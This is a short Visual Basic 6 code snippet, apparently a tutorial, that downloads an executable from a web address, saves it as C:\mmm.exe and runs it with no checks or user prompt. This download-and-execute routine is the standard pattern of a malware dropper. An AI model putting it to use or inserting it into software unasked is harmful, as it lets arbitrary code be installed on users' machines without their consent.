xml| Download
Establish a VB project, Project1
Adding references: Microsoft scripting Runtime,microsoft Active Data object,microsoft MsXml
Form1 Code:
Public A as MSXML2. XMLHTTP
Private Sub Command1_Click ()
Dim D as Class1
Set a = New MSXML2. XMLHTTP
A.open "Get", "Http://www.ljc.com/sll.exe", True
Set d = New Class1
A.onreadystatechange = d
A.send
End Sub
Class1 Code:
Dim B as ADODB. Stream
Dim FSO as Scripting.FileSystemObject
Public Curreadystate as Long
Public Function Dosome ()
Debug.Print Form1.a.readystate
If form1.a.readystate = 4 Then
Www
End If
End Function
Public Function www ()
Set B = New ADODB. Stream
B.type = 1
B.open
Set FSO = New Scripting.FileSystemObject
If form1.a.readystate = 4 Then
B.write (Form1.a.responsebody)
If not FSO. FileExists ("C:\mmm.exe") Then
B.savetofile "C:\mmm.exe"
End If
End If
B.close
Set B = Nothing
If FSO. FileExists ("C:\mmm.exe") Then Shell "C:\mmm.exe", 1
Set FSO = Nothing
End Function
Note that the Class1 dosome is set to default.